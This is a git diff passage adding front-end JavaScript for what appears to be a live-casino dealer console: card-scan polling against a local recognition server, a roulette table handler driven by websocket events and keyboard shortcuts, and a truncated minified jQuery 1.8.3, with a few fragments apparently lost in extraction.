_cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + sendScanNn(query); + + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + + isPositionScaned = true; + + console.log('scan postion[21] card end and sent ' + poker); + clearInterval(positionScanTask); + positionScanTask = null; + } + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + + }, 100); +} + +function doNnScanCards() { + + //var position = ['11', '12', '21', '22', '13', '23']; + var card = new Object(); + card.casinoTableId = casinoTableId; + //card.index = 21; //先扫定位牌 + + var cardScanRecord = new Array(); + + var api = '/recognition'; + + scanTask = setInterval(function() { + console.log('scan cards start...postion:' + scanPosition); + + if (!isPositionScaned || positionScanTask != null || scanPosition == 0) { + console.log('定位牌未扫描。'); + return false; + } + card.index = scanPosition; + + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + } + sendScanNn(query); + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + }, 200); + console.log('scan cards stop...'); +} + + +function spCard(data) { + var cc = data.split('_'); + cc.forEach(function (v, k) { + if (!v.includes('n')) { + cc[k] = formatCardData(v); + } + }); + return cc; +} +function formatCardData(card) { + // card: b-1 + var s = card.substr(0, 1); + var c = card.substr(2, 1); + var h = ''; + var n = ''; + switch(s) { + case 'b':h = '1';break; + case 'r':h = '2';break; + case 'm':h = '3';break; + default:h = '4';break; + } + switch(c) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case '0': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + default : n = '13'; break; + } + var result = h + n; + return result; +} +function cardToServer(card) { + // card: 3d + + if (card == '' || (card == undefined && card.length != 2)) { + return 'None'; + } + + var s = card.substr(0, 1); + s = s.toLowerCase(); + var c = card.substr(1, 1); + var h = ''; + var n = ''; + switch(c) { + case 's': h = '1'; break; + case 'h': h = '2'; break; + case 'c': h = '3'; break; + default: h = '4'; break; + } + switch(s) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case 't': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + case 'a': n = '01'; break; + default : n = '13'; break; + } + + var result = h + n; + return result; +} \ No newline at end of file diff --git a/public/static/handle/js/handle_roulette.js b/public/static/handle/js/handle_roulette.js new file mode 100644 index 0000000..f3fff6e --- /dev/null +++ b/public/static/handle/js/handle_roulette.js @@ -0,0 +1,808 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + $('.roulette-result-num').html(''); + hideRouletteBox(); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + let result = $('#roulette_result').val(); + websocket.emit('openingRoulette',{table_id : table_id, number_tab_id : number_tab_id, result : result}); +}; +// 骰宝显示 +var showDRouletteBox = function (){ + $('#roulette_result').val(''); + $('.roulette-result-num').html('') + $('#roulette_result_box').fadeIn(); +} +var hideRouletteBox = function (){ + $('#roulette_result_box').addClass('flicker').fadeOut(2400,'linear',function(){ + $('#roulette_result_box').removeClass('flicker'); + $('.roulette-result-num').html('') + }); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + if (data.round.number_tab_status.bet_status != undefined && data.round.number_tab_status.bet_status == 2){ + } + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingRoulette',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideRouletteBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + $('.roulette-result-num').html('') + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + var result = $('#roulette_result').val(); + if(result.length == 0){ + return false; + } + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + // 骰宝结果选择 + if (game_id == 8){ + if (e.keyCode == 96 || e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102 || e.keyCode == 103 || e.keyCode == 104 || e.keyCode == 105){ + var num = ''; + switch (e.keyCode){ + case 96: + num = 0; + break; + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + case 103: + num = 7; + break; + case 104: + num = 8; + break; + case 105: + num = 9; + break; + } + if (num >= 0){ + var word = $('.roulette-result-num').html() + if(word.length >= 2){ + return false + } + $('.roulette-result-num').append(num) + var word = $('.roulette-result-num').html() + $('#roulette_result').val(word) + } + } else if (e.keyCode == 109){ + $('.roulette-result-num').html('') + $('#roulette_result').val(''); + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +// 桌子状态 +var setBetStatus = function (BetStatus){ + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDRouletteBox(); + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num=1){ + var last_x=roadData[L-1].show_x + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result) + } + }) +} +function SoloPath(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + var black = ['2','4','6','8','10','11','13','15','17','20','22','24','26','28','29','31','33','35']; + var red = ['1','3','5','7','9','12','14','16','18','19','21','23','25','27','30','32','34','36']; + var fonts=type; + if($.inArray(type,black) != -1){ + var color='#636363'; + ctb.strokeStyle = "#636363"; + } + if($.inArray(type,red) != -1){ + var color='#f54f42'; + ctb.strokeStyle = "#f54f42"; + } + if(type == 0){ + var color='#5db646'; + ctb.strokeStyle = "#5db646"; + } + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font=unit*0.67+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + +} \ No newline at end of file diff --git a/public/static/handle/js/jquery-1.8.3.min.js b/public/static/handle/js/jquery-1.8.3.min.js new file mode 100644 index 0000000..3883779 --- /dev/null +++ b/public/static/handle/js/jquery-1.8.3.min.js @@ -0,0 +1,2 @@ +/*! jQuery v1.8.3 jquery.com | jquery.org/license */ +(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write(""),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t
a",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete 